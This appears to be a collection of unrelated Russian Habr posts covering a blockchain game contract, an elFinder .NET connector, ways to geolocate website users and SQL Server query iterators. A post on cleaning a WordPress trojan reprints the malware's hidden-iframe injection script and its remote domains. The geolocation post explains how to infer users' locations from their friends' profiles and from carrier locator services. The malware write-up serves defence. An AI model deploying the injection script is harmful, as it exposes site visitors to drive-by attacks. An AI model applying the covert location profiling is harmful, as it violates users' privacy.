"name": "id",
"type": "uint256"
}
],
"name": "checkSenderBet",
"outputs": [
{
"name": "",
"type": "bytes32"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
];
var contr = web3.eth.contract(contrInterface);
var contractInstance = contr.at(contrAdress);
var address = web3.eth.defaultAccount;
var block = 0;
web3.eth.getBlockNumber( function(er, res){ if(res) block = res });
}
```
ContractInterface это abi смарт контракта – совокупность названий функций, переменных и аргументов, для обращения и взаимодействия со смарт контрактом. Если вы используете remix – ide для работы со смарт контрактами ethereum в браузере, то его легко найти во вкладке Compite -> Details -> Abi.
Большой проблемой было, и до сих пор частично остается, определение игрового состояния в отдельно взятый момент времени, при перезагрузках страницы или при переключении между столами. Не забывайте, что мы работаем не с сервером, на котором, такая проблема решается элементарно, а с блокчейном, получать информацию откуда приходится довольно экзотично. Мы постоянно слушаем все эти 14 игровых событий: присоединение соперника, начало ходов, завершение ходов и прочие. Мы так же постоянно отправляем запросы на получение некоторой игровой информации, например, текущий счёт, время начала раунда и других. Причём большинство игровых состояний определяются не одним событием, и не одной переменной, а наложением сразу нескольких событий с некоторыми переменными – результатами прямого получения данных из блокчейна. Например, ситуация, когда игра идёт до двух и более побед, и когда на третьем раунде пришло время отправки приватных ключей. Приходится отслеживать, что игра началась, подключился соперник, прошло три раунда, и прошла отправка зашифрованных ходов с обоих сторон. Попробуйте перезагрузить страницу в этот момент и приходится восстанавливать заново все взаимосвязи с блокчейном. Каждый запрос или получение информации происходит асинхронно. Задержки накладываются одна на другую и в результате приложение работает ощутимо медленнее серверного варианта.
Но вернёмся к смарт контракту нашей игры. Мы уже поговорили о том, как мы храним игровые данные, какие используем события для взаимодействия с клиентской стороной, и как создаём столы. Теперь я хотел бы описать шифрование ходов. Мы имеем всего три возможные варианта хода, 1 – камень, 2 – ножницы, 3 – бумага. Всё начинается на клиенте, при выборе игроком своего хода. Скрипт, которые отрабатывает выбор карты, генерирует случайное число – мы называем его seed (далее — Сид). Сид сохраняется в куки в привязке к номеру стола, и хранится до последующего использования в них и в игровой сессии. В первый раз сид используется при определении игроком своего хода: выбрать камень, ножницы или бумагу. К нему прибавляется число 1, 2 или 3, — что выбрал игрок. Результат хешируется sha3 методом. Важный момент: web3.sha3() метод работает только со строками. На стороне клиента, мы легко конвертируем результирующее число в строку и затем хешируем ее для отправки на смарт контракт в переменную bit1 или bit2.
```
function setBet(uint id, bytes32 bet) public {
require(msg.sender == rooms[id].player1 || msg.sender == rooms[id].player2 );
//таймер не вышел
if(rooms[id].startTime + 5 minutes > now) {
if(msg.sender == rooms[id].player1) { rooms[id].res2 = 5; rooms[id].bit1 = bet; }
else if(msg.sender == rooms[id].player2) { rooms[id].res1 = 5; rooms[id].bit2 = bet; }
if(rooms[id].bit1 != 0x0 && rooms[id].bit2 != 0x0) {
SeedOpened(id);
BetsFinished(id);
}
BetsAdd(msg.sender , id);
} else {
Result(rooms[id].player1, rooms[id].res1, id); Result(rooms[id].player2, rooms[id].res2, id);
}
}
```
Функция setBet обеспечивает главным образом гарантию принятия ходов с обеих сторон. До тех пор, пока оба игрока не сделают свои ходы, и они не будут записаны, игровой процесс не может продолжаться. При этом она же следит за соблюдением таймеров и осуществляет необходимые первоначальные проверки самой возможности принять ход. Когда ходы сделаны, функция посылает сигналы на клиент: SeedOpened и BetsFinisfed. Получив эти сигналы, клиент предлагает игрокам, как мы говорим «раскрыть карты», то есть отправить на смарт контакт ту самую первую часть числа до суммирования, которое он сгенерировал случайно, перед хешированием хода. Подтвердив своё согласие на «раскрытие карт», игрок отправляет это число на другую функцию смарт контракта – setSeed
```
function setSeed(uint256 id, uint256 seed) public {
require( rooms[id].bit2 != 0x0 && rooms[id].bit1 != 0x0 );
require(msg.sender == rooms[id].player1 || msg.sender == rooms[id].player2 );
//таймер не вышел
if(rooms[id].startTime + 5 minutes > now) {
if(msg.sender == rooms[id].player1) decodeHash1(id, seed);
else if(msg.sender == rooms[id].player2) decodeHash2(id, seed);
} else {
Result(rooms[id].player1, rooms[id].res1, id); Result(rooms[id].player2, rooms[id].res2, id);
}
}
```
Которая в свою очередь, передаёт полученный seed на внутреннюю функции смарт контракта decodeHash1 и decodeHash2
```
function decodeHash1(uint id, uint seed) internal {
uint e1 = seed + 1;
bytes32 bitHash1a = keccak256(uintToString(e1));
uint e2 = seed + 2;
bytes32 bitHash1b = keccak256(uintToString(e2));
uint e3 = seed + 3;
bytes32 bitHash1c = keccak256(uintToString(e3));
if(rooms[id].bit1 == bitHash1a) rooms[id].res1 = 1;
if(rooms[id].bit1 == bitHash1b) rooms[id].res1 = 2;
if(rooms[id].bit1 == bitHash1c) rooms[id].res1 = 3;
Result(rooms[id].player1, rooms[id].res1, id);
// return res1;
}
```
Тут завершается цикл шифрования. Функция воспроизводит уже описанную для клиента процедуру хеширования только внутри ethereum причём делает это по три раза для каждого игрока – по трём возможным ходам. Затем происходит обычное сравнение результата хеширования в ethereum с имеющимся результатом хеширования с клиента. Соответствие даёт понять нам, какой ход сделал игрок. Мы не декларируем и не храним ключи, которые приходят от игроков во время раскрытия, вместо них мы сразу записываем результат декодирования в переменных res для каждого игрока в виде числа от 0 до 4.
На этом этапе есть ещё один интересный нюанс. Стандартная функция solidity keccak256, которая соответствует sha3 методу в web3 js библиотеке, как оказалось, дает адекватный результат только при подаче на вход именно строки, а не числа. Keccak256 позволяет работать и с числами, но поскольку на клиенте web3.sha3() принимает только строки, keccak256 должен так же получать строку на входе. А конвертация чисел в строки на solidity реализуется не так просто, как на javascript. Для этого нужно написать дополнительную внутреннюю функцию: uintToString(). Пометка pure означает, что эта функция не имеет права как либо влиять на состояние памяти смарт контракта: читать и писать. Вот такой нюанс.
```
function uintToString(uint i) internal pure returns (string){
// bytes memory bstr = new bytes;
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
```
И наконец, игровой цикл завершает внутренняя функция определения победителя winRes(). В ней заложены все возможные исходы игры, а именно – при ничьей начинается переигровка текущего раунда. Определение победителя раунда или матча. Соответственно появляется понятие окончательная и промежуточная победа. Функция понимает ситуации, когда один из игроков не успел сделать действие и засчитывает ему поражение в текущем раунде. В ситуации, когда оба игрока бездействовали дольше положенного, стол закрывается не зависимо от текущего счета. В таком случае игра прекращается и всё возвращается в исходное состояние.
**Итоговый код**
```
function winRes(uint id) internal {
require(rooms[id].res1 > 0 || rooms[id].res2 > 0);
address win = 0x0;
if(rooms[id].res1 == 1 && rooms[id].res2 == 2) win = rooms[id].player1;
if(rooms[id].res1 == 1 && rooms[id].res2 == 3) win = rooms[id].player2;
if(rooms[id].res1 == 2 && rooms[id].res2 == 1) win = rooms[id].player2;
if(rooms[id].res1 == 2 && rooms[id].res2 == 3) win = rooms[id].player1;
if(rooms[id].res1 == 3 && rooms[id].res2 == 1) win = rooms[id].player1;
if(rooms[id].res1 == 3 && rooms[id].res2 == 2) win = rooms[id].player2;
if(rooms[id].res1 == 4 && rooms[id].res2 != 4 ) win = rooms[id].player2;
if(rooms[id].res2 == 4 && rooms[id].res1 != 4 ) win = rooms[id].player1;
if(rooms[id].res1 == 5 && rooms[id].res2 != 5 ) win = rooms[id].player2;
if(rooms[id].res2 == 5 && rooms[id].res1 != 5 ) win = rooms[id].player1;
if((rooms[id].res2 == 4 && rooms[id].res1 == 4 ) || (rooms[id].res2 == 5 && rooms[id].res1 == 5 )) revertRoom(id);
else
{
//Ничья - начинаем игру заново
if(win == 0x0) {
replay(id);
OneMoreGame(id);
} else {
//Кто то победил
if( win == rooms[id].player1 ) rooms[id].c1 += 1;
if( win == rooms[id].player2 ) rooms[id].c2 += 1;
//Если игра длится до n-побед и счетчик не достиг лимита
if( rooms[id].counter > 1 && rooms[id].c1 < rooms[id].counter && rooms[id].c2 < rooms[id].counter ) {
ScoreChanged(id, rooms[id].c1, rooms[id].c2);
replay(id);
OneMoreGame(id);
} else {
//Тут мы точно знаем что наш победитель одержал окончательную победу
ScoreChanged(id, rooms[id].c1, rooms[id].c2);
if( rooms[id].bet > 0 ) {
rewardWin(win, id);
}
Winner(win, id);
closeRoom(id);
}
}
}
}
```
Алгоритм игры создавался с нуля, поэтому данный вариант, является успешным результатом серии экспериментов и корректировок. Насколько он эффективен и оптимален сказать сложно, поскольку сравнивать мы можем его только с самим собой. Относительно предыдущих 4х версий нашего алгоритма, этот в несколько раз эффективнее. Вероятно, есть ещё много возможных решений по оптимизации, но это уже вопрос будущего. | https://habr.com/ru/post/358772/ | null | ru | null |
# .Net коннектор для файлового менеджера elFinder
Есть такой замечательный, как мне кажется, файловый менеджер для веба под названием [elFinder](http://elrte.org/elfinder), который, также, интегрируется с WYSIWYG редактором [elRTE](http://elrte.org/).
Но, к сожалению, пользоваться им я не мог, потому что проекты у меня на ASP.Net / ASP.Net MVC, а т.н. «коннекторы» (то есть, серверная часть) были написаны на PHP и Python. Была идея написать свой, но сроки горели, и я использовал CKFinder. А тут вдруг на этих длинных выходных совершенно не хотелось вылазить из дома… и вот результат — коннектор, который я (и вы) можете использовать в своих дотнет приложениях. Если, конечно, не испугаетесь.)
### Установка и настройка
Предлагаю вам зайти на [elfinderconnectornet.codeplex.com](http://elfinderconnectornet.codeplex.com/) и скачать там тестовый солюшен. Он состоит из двух проектов: **Test.Web** (собственно, наше веб-приложение) и **ElFinder.Connector** (собственно, коннектор). Естественно, вы можете просто добавить reference на библиотеку **ElFinder.Connector.dll** в своём проекте.
Поздравляю! Вы почти всё сделали! Осталось только кое-что добавить в **Web.config** (всё это, конечно, есть в Test.Web).
1. Добавляем хэндлер, который будет дергать elFinder
> `<httpHandlers>
> ...
> <add verb="\*" path="\*.connector" type="ElFinder.Connector.Connector"/>
> httpHandlers>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/107684/ | null | ru | null |
# Методы определения местоположения пользователя
#### **Предисловие**
Всем, кто когда-либо занимался написанием систем авторизации/регистрации пользователей, наверняка приходилось задаваться вопросом: «А как узнать о пользователе больше информации?». Для чего это нужно? В большинстве случаев, для идентификации именно этого пользователя. Иногда — для предоставления каких-либо дополнительных возможностей и информации, в зависимости от различных социальных параметров, или, быть может, местополжения пользователя или региона проживания. Иногда, например, для проведения какого-либо скоринга. В этой статье речь пойдёт об определении географического положения пользователя.
#### **Эффективные методы определения**
Можно придумать массу методов получения георгафического положения пользователя интернета. И все эти методы будут обладать своим набором плюсов и минусов, будут более или менее эффективны, в зависимости от применения. Сейчас я опишу только те методы, которыми на данный момент пользуется проект, в котором я учавствую, т.е. те, которые я непосредственно использую. За время существования проекта по ним уже собралось достаточно статистики, из которой можно сделать некоторые выводы.
##### 1. **Данные из соц. сетей**
На сегодняшний день крайне популярным стало использовать для авторизации (или в качестве дополнительной информации) аккаунты всевозможных социальных сетей и блогов, что позволяет использовать данные из них. Авторизовав пользователя таким образом, можно получить достаточно много информации о нём. Правда вот о достоверности её говорить не приходится, ведь многие указывают в соц. сетях не «действительное», а «желаемое», либо вообще первое, что пришло в голову. Отсеять подобные вещи обычно и есть основная задача для разработчика. Для этого необходимо получить информацию обо всех друзьях пользователя и сверить общие данные. Можно, например, найти наиболее часто встречаемое место проживания у коллег/однокурсников/одноклассников/друзей пользователя (в синей соц. сети, например, это делать очень удобно), и, на основе этих данных, выяснить настоящий регион, область, город и даже район города, где живёт/работает/учится пользователь.
Также, в некоторых соц. сетях, доступно получение непосредственных координат пользователя, если он онлайн. Точность этих данных, в некоторых случаях, оставляет желать лучшего, но, как минимум, район города, где находится пользователь, определить можно достаточно достоверно.
***Плюсы:***
* Относительно высокая точность, при использовании моделей скоринга на основе данных друзей
* У большинства пользователей есть аккаунты в соц. сетях
* Можно проверить полученные данные на достоверность, используя данные друзей
***Минусы:***
* Сложность реализации, т.к. необходимо изучать API нескольких соц. сетей, составлять и реализовывать модели для анализа полученных данных
* Необходимость в наличии действующего аккаунта в соц. сети у пользователя (я считаю, что, несмотря на распространённость, требовать подобные данные от пользователя, всё же, нельзя)
* Низкая скорость работы, если учитывать анализ с использованием данных друзей
Реализацию, к сожалению, предоставить не могу ибо «секрет фирмы».
##### 2. **Данные GeoIP**
Наверное, самый простой и доступный каждому способ, однако, для РФ на сегодня, зачастую неточный.
**Почему?**Дело в том, что на данный момент большинство существоваших ранее провайдеров регионального уровня было раскуплено и поглощено операторами федерального уровня. И чем же это плохо? А вот чем. Представьте себе ситуацию — в городе «Н» существовало 5 мелких провайдеров. Каждый работал в своём районе города, и соответственно, имел свой пул IPv4 адресов. И даже динамически выданный «белый» IP можно было примерно привязать к определённому району города. Теперь приходит провайдер федерального уровня и покупает все 5 мелких провайдеров с их пулами адресов. Затем он приводит их сеть к некоему общему виду всех сетей этого федерального провайдера. Что мы имеем в итоге? У этого федерального провайдера есть огромное количество клиентов и огромное количество пулов IP, используемых, в зависимости от потребностей, в том или ином регионе. Тоесть теперь адрес, принадлежавший ранее пулу мелкого местного провайдера, может быть выдан клиенту из совершенно другого города, просто потому, что этот пул адресов теперь используется для всех клиентов этого провайдера. А вот сообщать кому и из какой области выдан этот IP никто, естественно, не будет. Тем более, что завтра он может быть выдан ещё кому-то.
Также, никто не помешает пользователю использовать, например, прокси или VPN для выхода в интернет от имени другого IP. В этом случае GeoIP становится абсолютно бесполезным, ибо получит информацию именно об этом прокси или VPN-сервере. То же самое происходит, если провайдер предоставляет своим клиентам доступ в интернет через NAT (а в свете проблем с количством свободных IPv4 адресов это встречается всё чаще и чаще), правда в этом случае, обычно, хотябы можно получить район, область или город.
Такчто полагаться полностью на данные GeoIP всё-таки можно не всегда, хотя этот способ очень удобен — ведь мы получаем информацию практически мгновенно. Для этого, обычно, используется заранее скачанная локальная база данных.
***Плюсы:***
* Легко использовать, есть множество реализаций на различных языках
* Высокая точность (за некоторым исключением, см. выше)
* Быстрота работы (практически мгновенное получение результата — ведь это всего 1 запрос к базе)
***Минусы:***
* Необходимость поддерживать базу IP в актуальном состоянии
* Отсутствие возможности проверить достоверность полученных данных (только запросами к нескольким базам)
* Достаточно большой процент ошибочных данных для РФ на данный момент (см. выше)
Описывать «как это сделать» смыла особого не вижу, ибо в сети, и, в т.ч. на хабре, полно подробных описаний. Для получения данных GeoIP существует множество бесплатных библиотек и инструментов. Например, для PHP можно использовать [расширение geoip](http://www.php.net/manual/ru/geoip.setup.php).
##### 3. **Использование JavaScript Geolocation API**
Достаточно полезный и эффективный метод, но только для мобильных устройств. В случае же со стационарным компьютером — полезен не более чем GeoIP. Дело в том, что в случае мобильного устройства (современный смартфон, планшет и т.д.) будут использоваться все доступные для этого устройства и разрешённые пользователем средства определения местоположения, включая позиционирование по GPS, Wi-Fi и данным от вышек сотовой связи. А вот в случае с домашним ПК, у которого, в большинстве случаев, нет ни мобильной сети (в случае наличия GSM/3G модема данные от него не используются), ни GPS, мы сможем узнать только данные GeoIP, которые нам радостно и сообщит JS. А по поводу их точности я уже писал выше. Хотя, пренебрегать данным способом я бы не стал — ведь всё большее количество людей используют планшеты и телефоны для выхода в интернет.
В итоге данный способ имеет достаточно узкий спектр применения — мобильные устройства. Или если достаточно примерных данных по GeoIP.
***Плюсы:***
* Легко реализовать, множество документации и примеров в интернете
* Точный, т.к. может использоваться как позиционирование по сотовым вышкам, Wi-Fi, GPS
* Быстрый, т.к. для определения положения используется ПО со стороны клиента
***Минусы:***
* На домашних ПК поддерживается не во всех браузерах
* Требует разрешений пользователя
* Фактически, применим только к мобильным устройствам
* Относительно легко подделать данные
Примеры реализации можно посмотреть [здесь](http://www.beloll.ru/example/example10.html) или [здесь](http://y3x.ru/sandbox/js/geolocation/).
##### 4. **Определение через услуги типа «локатор» от мобильных операторов**
Я думаю, некоторые из читающих слышали про эти услуги, кто-то даже пользуется ими, а кому-то приходится их использовать в корпоративной среде. Я говорю об услугах, подобных «Локатор»'у от «яичной» компании и «Координатам» от жёлто-полосатой. Да, эти услуги изначально предназначены для конечных пользователей, но… Что мешает использовать их нам? Положительных моментов при использовании этого способа немного, зато каких — это высокая точность и почти 100% достоверность данных. Зато есть неприятные моменты. Во-первых — эти услуги платные. Во-вторых — необходимость использования номера мобильного телефона при регистрации и требование отправить бесплатную смс на короткий номер… Такое поведение может отпугнуть многих. Да и время получения информации по смс немалое (в рамках веб-приложения). Но, в некоторых случаях, информация подобного рода, да ещё и достоверная, просто необходима. Тем более что этот метод можно использовать как замену подтверждения кодом из смс какого-либо действия. Да и подделать информацию, получаемую таким способом, практически невозможно.
Пример рабочей реализации приводить не буду по тем же соображениям, что и в первом случае, но вкратце опишу как это делается [чуть ниже](#HowTo_SMS).
***Плюсы:***
* **Высокая достоверность данных, почти 100%**
* Высокая точность, вне зависимости от испоьзуемого устройства и способа выхода в интернет
* Автоматически подтверждает номер мобильного телефона
***Минусы:***
* Сложность в реализации и поддержке
* Низкая скорость, т.к. требуется время на отправку/приём смс и ответ от пользователя
* Не бесплатен (тарифы у операторов на эту услугу весьма «прожорливые»)
* Необходимо согласие пользователя
##### **Как сделать**
Нам понадобятся:
1. Старый моб. телефон с кабелем, либо 3G/GSM модем, по одному на каждого оператора
2. Сим карты этих операторов
3. Некий ПК, желательно с \*nix на борту (можно и Windows с cygwin), который будет выполнять функцию эдакого «гео-шлюза»
4. Немного терпения и времени
5. smstools3
###### 1) **В зависимости от ОС, инструкции могут отличаться, но общий смысл неизменен — необходимо скачать и установить из репозитория ПО пакет SMSTools**
**На Gentoo это выглядит так:**
---
Если вам нужна статистика отправленных/полученных смс, то:
```
nogood-work ~ # echo "app-mobilephone/smstools stats" > /etc/portage/package.use/smstools.use
```
либо (если у вас все USE-флаги в одном файле):
```
nogood-work ~ # echo "app-mobilephone/smstools stats" >> /etc/portage/package.use
```
Затем ставим из портажа сам smstools:
```
nogood-work ~ # emerge -v smstools
These are the packages that would be merged, in order:
Calculating dependencies... done!
[ebuild N ~] app-mobilephone/smstools-3.1.15 USE="-stats" 0 kB
...
nogood-work ~ #
```
---
**На FreeBSD так:**
---
```
root@kenny:/usr/ports # cd /usr/ports/comms/smstools3
root@kenny:/usr/ports/comms/smstools3 # make install clean
```
Для статистики в опциях просто выбрать «STATS»
---
**Можно собрать и из исходников, если для вашей системы нет готового пакета:**
---
```
nogood-work ~ # wget http://smstools3.kekekasvi.com/packages/smstools3-3.1.15.tar.gz
nogood-work ~ # tar -zxvf smstools3-3.1.15.tar.gz -C /usr/local/src
nogood-work ~ # cd /usr/local/src/smstools3
nogood-work ~ # make
nogood-work ~ # make install
```
---
###### 2) **Подключаем модем(ы) и проверяем появились ли устройства последовательного порта в /dev**
**Для Gentoo:**
---
```
nogood-work ~ # ls /dev |grep ttyUSB
ttyUSB0
ttyUSB1
ttyUSB2
nogood-work ~ #
```
Может появиться несколько портов. Обычно нас интересует ttyUSB0, если модем 1. Если больше — то подключаем по очереди. И вот перый из появившихся портов наш.
---
Для FreeBSD:
---
```
root@kenny:~ # ls /dev |grep cuau
cuau0
cuau0.init
cuau0.lock
cuau1
cuau1.init
cuau1.lock
root@kenny:~ #
```
Смысл тот же — первый из нескольких появившихся — наш.
---
###### 3) **Настраиваем SMSTools**
smsd.conf может находится как в /etc/ так и в /usr/local/etc/ в зависимости от вашего дистрибутива. Приводим его к подобному виду:
```
#Список активных "модемов". Если вы планируете использовать
#несколько операторов, то, соответственно, перечисляем здесь
#модемы для каждого оператора, у меня только для одного
devices = GSM1
#Куда писать логи. Если закомментировать то по-умолчанию
#пишет в syslog. Но в этом случае не получится использовать
#такую классную вещь, как smart_logging.
logfile = /var/log/smsd/smsd.log
#Уровень ошибок.
loglevel = notice
#Хранить входящие в UTF-8. Работает не со всеми модемами, но лучше включить
incoming_utf8 = yes
#Записывать историю перекодировок в логах. На всякий случай включаем.
log_charconv = yes
#Наличие даты в имени файла. Вообще кому как удобно,
#но с этой опцией файлы легче находить по времени
date_filename = 1
#Приоритет получения смс перед отправкой
receive_before_send = yes
#Очень полезная, на мой взгляд, функция. Суть в том, что в лог
#по-умолчанию пишутся сообщения с уровнем, указанным выше.
#А вот в случае ошибки создаётся файлик с изменённым именем
#из logfile вида \_trouble.log в который пишется всё с уровнем debug
smart\_logging = yes
#Ну и настройка каталогов спулера
failed = /var/spool/sms/failed
sent = /var/spool/sms/sent
phonecalls = /var/spool/sms/calls
stats = /var/spool/sms/stats
#А вот настройка для модема. Лучше искать под конкретную модель.
[GSM1]
#Имя COM-порта
device = /dev/ttyUSB0
#Использовать ли для приёма СМС
incoming = yes
#Способ проверки памяти СМС. Подробности лучше глянуть на оф. сайте.
check\_memory\_method = 2
#Обязательно закомментить, т.к. иначе не видать нам русского языка
#decode\_unicode\_text = yes
#Могут понадобится для вашего модема. Вот это лучше погуглить.
#init = AT+CSCS="UCS2"
#init2 = AT+CSCS="UCS2"
#Автоматически собирать смс из нескольких частей. Крайне рекомендую.
internal\_combine = yes
#Сбрасывать входящие звонки. А зачем они нам?
hangup\_incoming\_call = yes
#Скрипт для обработки событий. Содержимое будет ниже.
eventhandler = /etc/smsd/trsms.sh
#Скрипт для обработки USSD команд. Я не использовал, но можно
#использовать для получения остатка на балансе.
#eventhandler\_ussd =
#Номер. Если будете использовать несколько модемов указывать надо.
#По нему определяется через какой модем отправлять смс.
number = 79185568942
#Что делать со входящими звонками - определять номер. Необязательно.
phonecalls = clip
#Отчёт о доставке. Нам не нужен.
#report = yes
#Для моего модема нужно было включить, чтобы небыло ошибок в логе.
signal\_quality\_ber\_ignore = yes
```
###### 4) **Создаём файлик trsms.sh (обработчик событий)**
```
#!/bin/bash
status="$1"
file="$2"
case "$1" in
RECEIVED)
header=`head -12 $file | grep -e "^From: " -e "^Sent: " -e "^Received: "`
from=`head -12 $file | grep -e "^From: " | awk '{print $2}'`
if grep "Alphabet: UCS2" $file > /dev/null > /dev/null; then
message=`tail -n +14 $file | iconv -f UCS-2BE -t UTF-8`
else
message=`tail -n +14 $file`
fi
#echo -e "$message" | mail -s "Incoming SMS from +$from" admin@yourhost.ru
echo -e "$header\n$message\n" >> /var/log/smsd/sms.log
if echo $message | grep "Запрос на авторизацию отправлен абоненту" > /dev/null > /dev/null; then
abon=`echo $message | awk 'BEGIN{ FS = "абоненту " } $2 { print substr($2, 2, 11) }'`
echo -e "\n> Запрос\t$abon" >> /var/log/smsd/location.log
fi
if echo $message | grep " находится по адресу " > /dev/null > /dev/null; then
abon=`echo $message | awk 'BEGIN{ FS = "Абонент " } $2 { print substr($2, 2, 11) }'`
adres=`echo $message | awk 'BEGIN{ FS = "адресу " } $2 { print substr($2,0,index($2, " в радиусе")) }'`
region=`echo $adres | awk 'BEGIN{ FS = ", " } $1 {print $1}'`
echo -e "\n> Ответ\t$abon\t$adres\tРЕГИОН: $region" >> /var/log/smsd/location.log
fi
;;
esac
```
Это пример с минимальным функционалом. Пишет в лог запросы и полученные ответы для «яичного» оператора. По-хорошему ещё надо добавить условие по номеру, с которого пришло сообщение, на основе переменной from. В нём же можно будет определять и оператора. Номера у разных операторов, как правило, разные.
Не забываем дать права на запуск пользователю, из под которого будет работать smsd.
###### 5) **Запускаем демон smsd и добавляем его в автозагрузку**
Для Gentoo:
---
```
nogood-work ~ # /etc/init.d/smsd start
nogood-work ~ # rc-update add smsd default
```
---
Для FreeBSD:
---
```
root@kenny:~ # echo "smsd_enable=\"YES\"" >> rc.conf
root@kenny:~ # service smsd start
```
---
Смотрим логи. Если всё хорошо и нет сообщений об ошибках, то переходим к следующему шагу.
###### 6) **Пробуем отправить смс на свой телефон**
```
nogood-work ~ # sendsms 79xxxxxxxxx 'текст'
```
Если смс прошло успешно — можно пробовать отправить смс на заветный номер услуги с соответствующим текстом, а затем проверить логи.
Далее можно будет просто вызывать из вашего скрипта команду `sendsms <номер> "<текст>"` и проверять, например, по крону наличие ответа по нужному номеру в файле с логами смс.
#### **Заключение**
Каждый из этих способов подходит для каких-то определённых целей и условий, и вам решать, что именно использовать. Конечно, здесь рассмотрены далеко не все способы определения местоположения. Я описал только те, что опробовал сам и считаю наиболее эффективными. Также, для достижения большей эффективности, я бы рекомендовал комбинировать их. Так это делается в нашем проекте. На этом всё. Надеюсь кому-нибудь данная информация окажется полезной. | https://habr.com/ru/post/193372/ | null | ru | null |
# Троян Troj/JSRedir-LK и уязвимость WordPress
Буквально сегодня закончила разбираться с интересной и новой для себя задачкой — подопечный сайт оказался в блэклисте яндекса. Причина — троян Troj/JSRedir-LK (по данным компании Sophos).
Уточню: в блэклисте оказались сразу два сайта, один из которых является поддоменом второго, и ниже я опишу, какие трансформации произошли с обоими в результате действия трояна.
А произошло вот что:
в файле header.php (subdomain) появилось два скрипта,
и
,
в файле footer.php (subdomain) перед — также скрипт со ссылкой на ligaexpress,
и в папке wp-includes родительского сайта (domain) — файл google-analytics.php, заканчивающийся следующим кодом:
```
function showBrowVer()
{
var data = browserDetectNav();
if (data[0]) {
if ((data[0] == 'Opera' || data[0] == 'MSIE'|| (data[0] == 'Firefox' & data[1] <= 17)) & data[3] == 'Windows'){
var js_kod2 = document.createElement('iframe');
js_kod2.src = 'http://moradomedia.nl/new/php/one-style.php';
js_kod2.width = '2px';
js_kod2.height = '2px';
js_kod2.style = 'visibility: hidden;';
document.body.appendChild(js_kod2);
}
}
}
```
Что любопытно, ссылка js\_kod2.src периодически менялась.
Еще любопытно, что кроме того самого Sophos'а ни один из использованных антивирусов ничего не нашел. Ни на сайте, ни на компьютере, который я после возни с сайтом решила проверить. Зато софосовская утилита Virus Removal Tool нашла тот самый Troj/JSRedir-LK, и вдобавок еще и Troj/JSRedir-JK, оба в Temporary Internet Files. За что я ее теперь всячески рекомендую [1].
А также порекомендую плагин для вордпресса Wordfence Security [2]. Меня он покорил возможностью просканировать файлы, включая файлы темы и плагинов, и сравнить их с хранящимися на WordPress.org. Даже жаль, что к моменту его установки и запуска сканирования все лишнее уже было удалено.
И еще о вордпресс (о той самой уязвимости, упомянутой в теме статьи).
Пока искала дыру, через которую проник вирус, нашла информацию о том, что в плагинах для кеширования (а именно WP Super Cache 1.2 и более ранние; W3 Total Cache 0.9.2.8 и более ранние) обнаружена уязвимость, позволяющая удаленному пользователю внедрить и выполнить произвольный PHP код. Подробнее об этом можно прочитать здесь [3] и здесь [4].
Так что держите ноги в тепле, а плагины — обновленными. А, да, и не храните ftp пароли в Total Commander.
Спасибо за внимание.
Ссылки на упомянутое в тексте:
1. [Virus Removal Tool от Sophos (free)](http://www.sophos.com/en-us/products/free-tools/virus-removal-tool.aspx)
2. [Плагин Wordfence Security для WordPress](http://wordpress.org/plugins/wordfence/)
3. [Обнаружена опасная уязвимость в кеширующих плагинах для WordPress, securitylab.ru](http://www.securitylab.ru/news/439825.php)
4. [mfunc issue](http://wordpress.org/support/topic/pwn3d) | https://habr.com/ru/post/184124/ | null | ru | null |
# Стандартные шаги исполнения запроса
По материалам статьи Craig Freedman: [The Building Blocks of Query Execution](https://techcommunity.microsoft.com/t5/sql-server-blog/the-building-blocks-of-query-execution/ba-p/383091)
### Что такое итератор?
SQL Server декомпозирует запросы, преобразуя их в набор стандартных блоков-примитивов, которые принято называть операторами или итераторами. Каждый итератор служит для выполнения одной операции, например, просмотр (сканирование), изменение, фильтрация или соединение данных таблиц, а также соединение двух наборов данных. Всего известно несколько дюжин таких примитивных итераторов. Итераторы могут иметь одну или несколько дочерних записей и могут объединяться в деревья, которые принято называть планом исполнения запроса. Любая инструкция SQL выполняется по соответствующему плану запроса. Для одной инструкции на практике может существовать много правильных планов исполнения запроса. Оптимизатор запросов старается найти лучший (например, самым дешевый) план запроса для каждой инструкции.
### Как итератор работает?
Итератор получает на входе считанные строки, полученные из источника данных (например, из таблицы или ее производных), и создаёт результирующие строки, которые поступают на выход и возвращаются вызвавшему итератор объекту. Строки на выходе, которые были сгенерированы итератором, зависят от операции, которую это итератор исполняет.
Все итераторы выполняют одинаковый набор основных методов. Например, метод Open указывает итератору подготовить генерацию строки на выходе, в то время как метод GetRow запрашивает у итератора непосредственную генерацию новой строки и её вывод. Поскольку все итераторы реализуют одинаковые методы, они независимы друг от друга. То есть итератору не нужно иметь знания об его дочерних или родительских записях. Следовательно, итераторы легко объединяются разными способами и в разные планы исполнения запроса.
Когда SQL Server выполняет план запроса, потоки управления направлены вниз дерева запроса. То есть, для итератора в корне плана запроса происходит вызов методов Open и GetRow, и вызовы этих методов распространяются вниз, через всё дерево, до итераторов листового уровня. Поток данных или, более точно, движение по дереву, обеспечивается тем, что итератор вызывает метод GetRow другого итератора.
### Простой пример
Рассмотрим следующий запрос:
```
select count(*) from t
```
Самым простым способом исполнения этого запроса является просмотр всех строку в таблице [t] и подсчёт этих строк. Для достижения этого результата, SQL Server использует два итератора: первый для просмотра строк в [t], и второй для их подсчёта:
| |
| --- |
| <-- count(\*) <-- Scan [t] |
Для выполнения этого плана запроса вызывается метод Open итератора count(\*). Итератор count(\*) в методе Open исполняет следующие задачи:
1. Вызов всех методов Open итератора просмотра, которые подготавливают просмотр, чтобы выдать строки;
2. Вызовы методов GetRow при просмотре для считывания возвращаемых строк, и с остановкой только тогда, когда возвращаемый GetRow результат говорит о том, что был достигнут конец просмотра;
3. Вызов метода Close итератора просмотра для указания завершения работы.
Таким образом, к тому времени, когда итератор count(*) возвратится из Open, он уже вычислит число строк в [t]. Чтобы закончить работу, для count(*) вызывается GetRow, который возвращает результат запроса (технически, GetRow для count(*) вызывается не один раз, поскольку заранее неизвестно, что count(*) выдаст только одну строку, пока не будет вызван этот метод. Второй вызов GetRow возвращает значение, которое говорит о
